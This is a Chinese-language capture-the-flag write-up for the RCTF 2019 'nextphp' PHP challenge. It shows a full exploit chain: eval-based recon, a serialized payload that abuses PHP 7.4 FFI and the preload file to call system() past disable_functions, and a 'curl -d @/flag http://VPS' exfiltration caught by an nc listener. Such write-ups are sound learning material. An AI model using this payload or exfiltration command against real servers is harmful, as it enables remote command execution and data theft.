RCTF-web-nextphp
if (isset($_GET['a'])) {
eval($_GET['a']);
} else {
show_source(__FILE__);
}
http://192.168.1.8/?a=var_dump(scandir(getcwd()));
http://192.168.1.8/?a=show_source("preload.php");
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'print_r',
'arg' => '1'
];
private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}
public function __serialize(): array {
return $this->data;
}
public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
}
public function serialize (): string {
return serialize($this->data);
}
public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}
public function __get ($key) {
return $this->data[$key];
}
public function __set ($key, $value) {
throw new \Exception('No implemented');
}
public function __construct () {
throw new \Exception('No implemented');
}
}
收集一波phpinfo的信息
disable_functions set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl
open_basedir /var/www/html
opcache.preload /var/www/html/preload.php
FFI
FFI support enabled
disable_classes ReflectionClass ReflectionClass
安装php7.4-dev
apt install libsqlite3-dev libffi-dev bison re2c pkg-config
git clone https://github.com/php/php-src.git
cd php-src
git checkout PHP-7.4
./buildconf
./configure --prefix=$HOME/myphp --with-config-file-path=$HOME/myphp/lib --with-ffi --enable-opcache --enable-cli
make -j $(nproc) && make install
☁ bin ./php --version
PHP 7.4.0-dev (cli) (built: May 30 2019 19:12:10) ( NTS )
Copyright (c) The PHP Group
Zend Engine v3.4.0-dev, Copyright (c) Zend Technologies
☁ bin ./php -r '$ffi = FFI::cdef("int system(char *command);","libc.so.6"); $ffi->system("whoami");'
river
☁ bin ./php -r '$ffi = FFI::cdef("int system(char *command);", ); $ffi->system("whoami");'
river
☁ bin ./php -r '$ffi = FFI::cdef("int system(char *command);", ); $ffi->system("id");'
uid=1000(river) gid=1000(river) groups=1000(river),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare),128(docker)
这样的话,我们就可以利用 preload.php 中类 A 的 run 方法直接执行命令了,也就可以直接绕过 disable_functions 等限制。通过如下脚本生成 exp :
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'FFI::cdef',
'arg' => 'int system(char *command);'
];
private function run () {
echo "run
";
$this->data['ret'] = $this->data['func']($this->data['arg']);
}
public function serialize (): string {
return serialize($this->data);
}
public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}
public function __get ($key) {
return $this->data[$key];
}
public function __set ($key, $value) {
throw new \Exception('No implemented');
}
public function __construct () {
echo "__construct
";
}
}
$a = new A();
echo base64_encode(serialize($a)); // 即payload
这里的EXP代码中删除了原有的 __serialize
、 __unserialize
两个函数,这是因为在反序列化时会触发 __unserialize
函数,这一特性是在PHP7.4中新加入的,具体可参考:https://wiki.php.net/rfc/custom_object_serialization 。
然后访问 http://题目/?a=unserialize(base64_decode(上面生成的payload))->__serialize()['ret']->system(系统命令);
,这里的命令执行的结果不会回显,可以用VPS接收flag,执行命令 curl -d @/flag http://VPS
就行了。
➜ river nc -lvp 8888
Listening on [0.0.0.0] (family 0, port 8888)
Connection from [192.168.1.8] port 8888 [tcp/*] accepted (family 2, sport 58150)
POST / HTTP/1.1
Host: 192.168.1.7:8888
User-Agent: curl/7.52.1
Accept: */*
Content-Length: 24
Content-Type: application/x-www-form-urlencoded
RCTF{Do_y0u_l1ke_php74?}
后来又想为什么不直接通过那个 shell 利用 FFI (直接不用那个反序列化),结果试了发现不行。再次查看文档,发现如下描述:
FFI API opens all the C power, and consequently, also an enormous possibility to have something go wrong, crash PHP, or even worse. To minimize risk PHP FFI API usage may be restricted. By default FFI API may be used only in CLI scripts and preloaded PHP files. This may be changed through ffi.enable INI directive. This is INI_SYSTEM directive and it’s value can’t be changed at run-time.
- ffi.enable=false completely disables PHP FFI API
- ffi.enable=true enables PHP FFI API without any restrictions
- ffi.enable=preload (the default value) enables FFI but restrict its usage to CLI and preloaded scripts
原来默认 ffi.enable=preload 且仅在命令行模式和 preload 文件中可用,在本地环境 ffi.enable=preload 模式下,web端也是无法执行 FFI 。将 ffi.enable 设置成 true 后,发现 web 端就可以利用 FFI 了。
Ref:
https://mochazz.github.io/2019/05/21/RCTF2019Web题解之nextphp/